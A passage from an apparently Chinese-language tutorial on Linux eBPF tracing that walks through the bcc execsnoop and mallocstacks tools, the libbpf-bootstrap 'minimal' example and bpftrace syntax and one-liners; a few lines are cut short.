maximum of 19 arguments, plus the process # name, so 20 fields in total (MAXARG). # # This won't catch all new processes: an application may fork() but not exec(). # # Copyright 2016 Netflix, Inc. # Licensed under the Apache License, Version 2.0 (the "License") # # 07-Feb-2016   Brendan Gregg   Created this. from __future__ import print_function from bcc import BPF from bcc.containers import filter_by_containers from bcc.utils import ArgString, printb import bcc.utils as utils import argparse import re import time import pwd from collections import defaultdict from time import strftime def parse_uid(user):    try:        result = int(user)    except ValueError:        try:            user_info = pwd.getpwnam(user)        except KeyError:            raise argparse.ArgumentTypeError(                "{0!r} is not valid UID or user entry".format(user))        else:            return user_info.pw_uid    else:        # Maybe validate if UID < 0 ?        return result # arguments examples = """examples:   ./execsnoop           # trace all exec() syscalls   ./execsnoop -x       # include failed exec()s   ./execsnoop -T       # include time (HH:MM:SS)   ./execsnoop -U       # include UID   ./execsnoop -u 1000   # only trace UID 1000   ./execsnoop -u user   # get user UID and trace only them   ./execsnoop -t       # include timestamps   ./execsnoop -q       # add "quotemarks" around arguments   ./execsnoop -n main   # only print command lines containing "main"   ./execsnoop -l tpkg   # only print command where arguments contains "tpkg"   ./execsnoop --cgroupmap mappath # only trace cgroups in this BPF map   ./execsnoop --mntnsmap mappath   # only trace mount namespaces in the map """ parser = argparse.ArgumentParser(    description="Trace exec() syscalls",    formatter_class=argparse.RawDescriptionHelpFormatter,    epilog=examples) parser.add_argument("-T", "--time", action="store_true",    help="include time column on output (HH:MM:SS)") parser.add_argument("-t", "--timestamp", action="store_true",    help="include timestamp on output") parser.add_argument("-x", "--fails", action="store_true",    help="include failed exec()s") parser.add_argument("--cgroupmap",    help="trace cgroups in this BPF map only") parser.add_argument("--mntnsmap",    help="trace mount namespaces in this BPF map only") parser.add_argument("-u", "--uid", type=parse_uid, metavar='USER',    help="trace this UID only") parser.add_argument("-q", "--quote", action="store_true",    help="Add quotemarks (\") around arguments."   ) parser.add_argument("-n", "--name",    type=ArgString,    help="only print commands matching this name (regex), any arg") parser.add_argument("-l", "--line",    type=ArgString,    help="only print commands where arg contains this line (regex)") parser.add_argument("-U", "--print-uid", action="store_true",    help="print UID column") parser.add_argument("--max-args", default="20",    help="maximum number of arguments parsed and displayed, defaults to 20") parser.add_argument("--ebpf", action="store_true",    help=argparse.SUPPRESS) args = parser.parse_args() # define BPF program bpf_text = """ #include <uapi/linux/ptrace.h> #include <linux/sched.h> #include <linux/fs.h> #define ARGSIZE 128 enum event_type {   EVENT_ARG,   EVENT_RET, }; struct data_t {   u32 pid; // PID as in the userspace term (i.e. task->tgid in kernel)   u32 ppid; // Parent PID as in the userspace term (i.e task->real_parent->tgid in kernel)   u32 uid;   char comm[TASK_COMM_LEN];   enum event_type type;   char argv[ARGSIZE];   int retval; }; BPF_PERF_OUTPUT(events); static int __submit_arg(struct pt_regs *ctx, void *ptr, struct data_t *data) {   bpf_probe_read_user(data->argv, sizeof(data->argv), ptr);   events.perf_submit(ctx, data, sizeof(struct data_t));   return 1; } static int submit_arg(struct pt_regs *ctx, void *ptr, struct data_t *data) {   const char *argp = NULL;   bpf_probe_read_user(&argp, sizeof(argp), ptr);   if (argp) {       return __submit_arg(ctx, (void *)(argp), data);   }   return 0; } int syscall__execve(struct pt_regs *ctx,   const char __user *filename,   const char __user *const __user *__argv,   const char __user *const __user *__envp) {   u32 uid = bpf_get_current_uid_gid() & 0xffffffff;   UID_FILTER   if (container_should_be_filtered()) {       return 0;   }   // create data here and pass to submit_arg to save stack space (#555)   struct data_t data = {};   struct task_struct *task;   data.pid = bpf_get_current_pid_tgid() >> 32;   task = (struct task_struct *)bpf_get_current_task();   // Some kernels, like Ubuntu 4.13.0-generic, return 0   // as the real_parent->tgid.   // We use the get_ppid function as a fallback in those cases. (#1883)   data.ppid = task->real_parent->tgid;   bpf_get_current_comm(&data.comm, sizeof(data.comm));   data.type = EVENT_ARG;   __submit_arg(ctx, (void *)filename, &data);   // skip first arg, as we submitted filename   #pragma unroll   for (int i = 1; i < MAXARG; i++) {       if (submit_arg(ctx, (void *)&__argv[i], &data) == 0)             goto out;   }   // handle truncated argument list   char ellipsis[] = "...";   __submit_arg(ctx, (void *)ellipsis, &data); out:   return 0; } int do_ret_sys_execve(struct pt_regs *ctx) {   if (container_should_be_filtered()) {       return 0;   }   struct data_t data = {};   struct task_struct *task;   u32 uid = bpf_get_current_uid_gid() & 0xffffffff;   UID_FILTER   data.pid = bpf_get_current_pid_tgid() >> 32;   data.uid = uid;   task = (struct task_struct *)bpf_get_current_task();   // Some kernels, like Ubuntu 4.13.0-generic, return 0   // as the real_parent->tgid.   // We use the get_ppid function as a fallback in those cases. (#1883)   data.ppid = task->real_parent->tgid;   bpf_get_current_comm(&data.comm, sizeof(data.comm));   data.type = EVENT_RET;   data.retval = PT_REGS_RC(ctx);   events.perf_submit(ctx, &data, sizeof(data));   return 0; } """ bpf_text = bpf_text.replace("MAXARG", args.max_args) if args.uid:    bpf_text = bpf_text.replace('UID_FILTER',        'if (uid != %s) { return 0; }' % args.uid) else:    bpf_text = bpf_text.replace('UID_FILTER', '') bpf_text = filter_by_containers(args) + bpf_text if args.ebpf:    print(bpf_text)    exit() # initialize BPF b = BPF(text=bpf_text) execve_fnname = b.get_syscall_fnname("execve") b.attach_kprobe(event=execve_fnname, fn_name="syscall__execve") b.attach_kretprobe(event=execve_fnname, fn_name="do_ret_sys_execve") # header if args.time:    print("%-9s" % ("TIME"), end="") if args.timestamp:    print("%-8s" % ("TIME(s)"), end="") if args.print_uid:    print("%-6s" % ("UID"), end="") print("%-16s %-7s %-7s %3s %s" % ("PCOMM", "PID", "PPID", "RET", "ARGS")) class EventType(object):    EVENT_ARG = 0    EVENT_RET = 1 start_ts = time.time() argv = defaultdict(list) # This is best-effort PPID matching. Short-lived processes may exit # before we get a chance to read the PPID. # This is a fallback for when fetching the PPID from task->real_parent->tgip # returns 0, which happens in some kernel versions. def get_ppid(pid):    try:        with open("/proc/%d/status" % pid) as status:            for line in status:                if line.startswith("PPid:"):                    return int(line.split()[1])    except IOError:        pass    return 0 # process event def print_event(cpu, data, size):    event = b["events"].event(data)    skip = False    if event.type == EventType.EVENT_ARG:        argv[event.pid].append(event.argv)    elif event.type == EventType.EVENT_RET:        if event.retval != 0 and not args.fails:            skip = True        if args.name and not re.search(bytes(args.name), event.comm):            skip = True        if args.line and not re.search(bytes(args.line),                                       b' '.join(argv[event.pid])):            skip = True        if args.quote:            argv[event.pid] = [                b"\"" + arg.replace(b"\"", b"\\\"") + b"\""                for arg in argv[event.pid]           ]        if not skip:            if args.time:                printb(b"%-9s" % strftime("%H:%M:%S").encode('ascii'), nl="")            if args.timestamp:                printb(b"%-8.3f" % (time.time() - start_ts), nl="")            if args.print_uid:                printb(b"%-6d" % event.uid, nl="")            ppid = event.ppid if event.ppid > 0 else get_ppid(event.pid)            ppid = b"%d" % ppid if ppid > 0 else b"?"            argv_text = b' '.join(argv[event.pid]).replace(b'\n', b'\\n')            printb(b"%-16s %-7d %-7s %3d %s" % (event.comm, event.pid,                   ppid, event.retval, argv_text))        try:            del(argv[event.pid])        except Exception:            pass # loop with callback to print_event b["events"].open_perf_buffer(print_event) while 1:    try:        b.perf_buffer_poll()    except KeyboardInterrupt:        exit() 此工具使用kprobe和kretprobe跟踪execv系统调用的进入和退出事件,并将进程名,进程参数,pid,ppid以及返回代码输出到终端 使用python + bcc 跟踪用户函数 bcc中使用uprobe跟踪glibc malloc 函数的工具,并统计malloc 内存的总量。 #!/usr/bin/python # # mallocstacks Trace malloc() calls in a process and print the full #               stack trace for all callsites. #               For Linux, uses BCC, eBPF. Embedded C. # # This script is a basic example of the new Linux 4.6+ BPF_STACK_TRACE # table API. # # Copyright 2016 GitHub, Inc. # Licensed under the Apache License, Version 2.0 (the "License") from __future__ import print_function from bcc import BPF from bcc.utils import printb from time import sleep import sys if len(sys.argv) < 2:    print("USAGE: mallocstacks PID [NUM_STACKS=1024]")    exit() pid = int(sys.argv[1]) if len(sys.argv) == 3:    try:        assert int(sys.argv[2]) > 0, ""    except (ValueError, AssertionError) as e:        print("USAGE: mallocstacks PID [NUM_STACKS=1024]")        print("NUM_STACKS must be a non-zero, positive integer")        exit()    stacks = sys.argv[2] else:    stacks = "1024" # load BPF program b = BPF(text=""" #include <uapi/linux/ptrace.h> BPF_HASH(calls, int); BPF_STACK_TRACE(stack_traces, """ + stacks + """); int alloc_enter(struct pt_regs *ctx, size_t size) {   int key = stack_traces.get_stackid(ctx, BPF_F_USER_STACK);   if (key < 0)       return 0;   // could also use `calls.increment(key, size);`   u64 zero = 0, *val;   val = calls.lookup_or_try_init(&key, &zero);   if (val) {     (*val) += size;   }   return 0; }; """) b.attach_uprobe(name="c", sym="malloc", fn_name="alloc_enter", pid=pid) print("Attaching to malloc in pid %d, Ctrl+C to quit." % pid) # sleep until Ctrl-C try:    sleep(99999999) except KeyboardInterrupt:    pass calls = b.get_table("calls") stack_traces = b.get_table("stack_traces") for k, v in reversed(sorted(calls.items(), key=lambda c: c[1].value)):    print("%d bytes allocated at:" % v.value)    if k.value > 0 :        for addr in stack_traces.walk(k.value):            printb(b"\t%s" % b.sym(addr, pid, show_offset=True)) libbpf libbpf是linux 源码树中的ebpf 开发包。同时在github上也有独立的代码仓库。 这里推荐使用https://zhuanlan.zhihu.com/write这个项目 libbpf-bootstrap libbpf-bootstrap是使用 libbpf 和 BPF CO-RE 进行 BPF 应用程序开发的脚手架项目 首先克隆libbpf-bootstrap仓库 git clone https://github.com/libbpf/libbpf-bootstrap.git 然后同步子模块 cd libbpf-bootstrap git submodule init git submodule update 注意,子模块中包含bpftool,bpftool中还有子模块需要同步 在bpftool目录下重复以上步骤 libbpf-bootstrap中包含以下目录 这里进入example/c中,这里包含一些示例工具 直接make编译 等编译完成后,在此目录下会生成可执行文件 先运行一下bootstrap,这里要用root权限运行 bootstrap程序会追踪所有的exec和exit系统调用,每次程序运行时,bootstrap就会输出运行程序的信息。 再看看minimal,这是一个最小ebpf程序。 运行后输出大量信息,最后有提示让我们运行sudo cat /sys/kernel/debug/tracing/trace_pipe来查看输出 运行这个命令 minimal 会追踪所有的write系统调用,并打印出调用write的进程的pid 这里看到pid为11494,ps 查询一下这个进程,发现就是minimal 来看看minimal的源码,这个程序主要有两个C文件组成,minimal.c和minimal.bpf.c前者为此程序的源码,后者为插入内核虚拟机的ebpf代码。 // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) /* Copyright (c) 2020 Facebook */ #include <stdio.h> #include <unistd.h> #include <sys/resource.h> #include <bpf/libbpf.h> #include "minimal.skel.h" static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) {    return vfprintf(stderr, format, args); } int main(int argc, char **argv) {    struct minimal_bpf *skel;    int err;    libbpf_set_strict_mode(LIBBPF_STRICT_ALL);    /* Set up libbpf errors and debug info callback */    libbpf_set_print(libbpf_print_fn);    /* Open BPF application */    skel = minimal_bpf__open();    if (!skel) {        fprintf(stderr, "Failed to open BPF skeleton\n");        return 1;   }    /* ensure BPF program only handles write() syscalls from our process */    skel->bss->my_pid = getpid();    /* Load & verify BPF programs */    err = minimal_bpf__load(skel);    if (err) {        fprintf(stderr, "Failed to load and verify BPF skeleton\n");        goto cleanup;   }    /* Attach tracepoint handler */    err = minimal_bpf__attach(skel);    if (err) {        fprintf(stderr, "Failed to attach BPF skeleton\n");        goto cleanup;   }    printf("Successfully started! Please run `sudo cat /sys/kernel/debug/tracing/trace_pipe` "           "to see output of the BPF programs.\n");    for (;;) {        /* trigger our BPF program */        fprintf(stderr, ".");        sleep(1);   }    cleanup:    minimal_bpf__destroy(skel);    return -err; } 首先看一下minimal.c的内容,在main函数中首先调用了libbpf_set_strict_mode(LIBBPF_STRICT_ALL);设置为libbpf v1.0模式。此模式下错误代码直接通过函数返回值传递,不再需要检查errno。 之后调用libbpf_set_print(libbpf_print_fn);将程序中一个自定义输出函数设置为调试输出的回调函数,即运行minimal的这些输出全都时通过libbpf_print_fn输出的。 然后在minimal.c:24调用生成的minimal.skel.h中的预定义函数minimal_bpfopen打开bpf程序,这里返回一个minimal_bpf类型的对象(c中使用结构体模拟对象)。 在31行将minimal_bpf对象的bss子对象的my_pid属性设置为当前进程pid 这里minimal_bpf对象和bss都由minimal.bpf.c代码编译而来。minimal.bpf.c经过clang 编译连接,生成minimal.bpf.o,这是一个elf文件,其中包含bss段,这个段内通常储存着minimal.bpf.c中所有经过初始化的变量。 skel->bss->my_pi 接下来看minimal.bpf.c 这是ebpf程序的源码,是要加载到内核中的ebpf虚拟机中运行的,由于在运行在内核中,具有得天独厚的地理位置,可以访问系统中所有资源,再配合上众多的tracepoint,就可以发挥出强大的追踪能力。 下面是minimal.bpf.c的源码 // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause /* Copyright (c) 2020 Facebook */ #include <linux/bpf.h> #include <bpf/bpf_helpers.h> char LICENSE[] SEC("license") = "Dual BSD/GPL"; int my_pid = 0; SEC("tp/syscalls/sys_enter_write") int handle_tp(void *ctx) {    int pid = bpf_get_current_pid_tgid() >> 32;    if (pid != my_pid)        return 0;    bpf_printk("BPF triggered from PID %d.\n", pid);    return 0; } minimal.bpf.c会被clang 编译器编译为ebpf字节码,然后通过bpftool将其转换为minimal.skel.h头文件,以供minimal.c使用。 此代码中定义并初始化了一个全局变量my_pid,经过编译连接后此变量会进入elf文件的bss段中。 然后,代码中定义了一个函数int handle_tp(void *ctx),此函数中通过调用bpf_get_current_pid_tgid() >> 32获取到调用此函数的进程pid 然后比较pid与my_pid的值,如果相同则调用bpf_printk输出"BPF triggered from PID %d\n” 这里由于handle_tp函数是通过SEC宏附加在write系统调用上,所以在调用write()时,handle_tp也会被调用,从而实现追踪系统调用的功能。 SEC宏在bpf程序中处于非常重要的地位。可以参考https://libbpf.readthedocs.io/en/latest/program_types.html SEC宏可以指定ebpf函数附加的点,包括系统调用,静态tracepoint,动态的kprobe和uprobe,以及USDT等等。 Lib 通过llvm-objdump 可以看到编译后的epbf程序文件包含一个以追踪点命名的section ebpf字节码dump ebpf程序可以使用llvm-objdump -d dump 出ebpf字节码 bpftrace bpftrace 提供了一种类似awk 的脚本语言,通过编写脚本,配合bpftrace支持的追踪点,可以实现非常强大的追踪功能 安装 sudo apt-get update sudo apt-get install -y \ bison \ cmake \ flex \ g++ \ git \ libelf-dev \ zlib1g-dev \ libfl-dev \ systemtap-sdt-dev \ binutils-dev \ libcereal-dev \ llvm-12-dev \ llvm-12-runtime \ libclang-12-dev \ clang-12 \ libpcap-dev \ libgtest-dev \ libgmock-dev \ asciidoctor git clone htt bpftrace命令行参数 # bpftrace USAGE:   bpftrace [options] filename   bpftrace [options] -e 'program' OPTIONS:    -B MODE       output buffering mode ('line', 'full', or 'none')    -d             debug info dry run    -dd           verbose debug info dry run    -e 'program'   execute this program    -h             show this help message    -I DIR         add the specified DIR to the search path for include files.    --include FILE adds an implicit #include which is read before the source file is preprocessed.    -l [search]   list probes    -p PID         enable USDT probes on PID    -c 'CMD'       run CMD and enable USDT probes on resulting process    -q             keep messages quiet    -v             verbose messages    -k             emit a warning when a bpf helper returns an error (except read functions)    -kk           check all bpf helper functions    --version     bpftrace version ENVIRONMENT:   BPFTRACE_STRLEN             [default: 64] bytes on BPF stack per str()   BPFTRACE_NO_CPP_DEMANGLE   [default: 0] disable C++ symbol demangling   BPFTRACE_MAP_KEYS_MAX       [default: 4096] max keys in a map   BPFTRACE_MAX_PROBES         [default: 512] max number of probes bpftrace can attach to   BPFTRACE_MAX_BPF_PROGS     [default: 512] max number of generated BPF programs   BPFTRACE_CACHE_USER_SYMBOLS [default: auto] enable user symbol cache   BPFTRACE_VMLINUX           [default: none] vmlinux path used for kernel symbol resolution   BPFTRACE_BTF               [default: none] BTF file EXAMPLES: bpftrace -l '*sleep*'   list probes containing "sleep" bpftrace -e 'kprobe:do_nanosleep { printf("PID %d sleeping...\n", pid); }'   trace processes calling sleep bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }'   count syscalls by process name bpftrace程序语法规则 bpftrace语法由以下一个或多个action block结构组成,且语法关键字与c语言类似 probe[,probe] /predicate/ {  action } probe:探针,可以使用bpftrace -l 来查看支持的所有tracepoint和kprobe探针 Predicate(可选):在 / / 中指定 action 执行的条件。如果为True,就执行 action action:在事件触发时运行的程序,每行语句必须以 ; 结尾,并且用{}包起来 //:单行注释 /**/:多行注释 ->:访问c结构体成员,例如:bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args->filename)); }' struct:结构声明,在bpftrace脚本中可以定义自己的结构 https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md#languagebpftrace 单行指令 bpftrace -e 选项可以指定运行一个单行程序 1、追踪openat系统调用 bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args->filename)); }' 2、系统调用计数 bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }' 3、计算每秒发生的系统调用数量 bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @ = count(); } interval:s:1 { print(@); clear(@); }' bpftrace脚本文件 还可以将bpftrace程序作为一个脚本文件,并且使用shebang#!/usr/local/bin/bpftrace可以使其独立运行 例如: 1 #!/usr/local/bin/bpftrace 2 3 tracepoint:syscalls:sys_enter_nanosleep 4 { 5   printf("%s is sleeping.\n", comm); 6 } bpftrace探针类型 bpftrace支持以下类型的探针: kprobe- 内核函数启动 kretprobe- 内核函数返回 uprobe- 用户级功能启动 uretprobe- 用户级函数返回 tracepoint- 内核静态跟踪点 usdt- 用户级静态跟踪点 profile- 定时采样 interval- 定时输出 software- 内核软件事件 hardware- 处理器级事件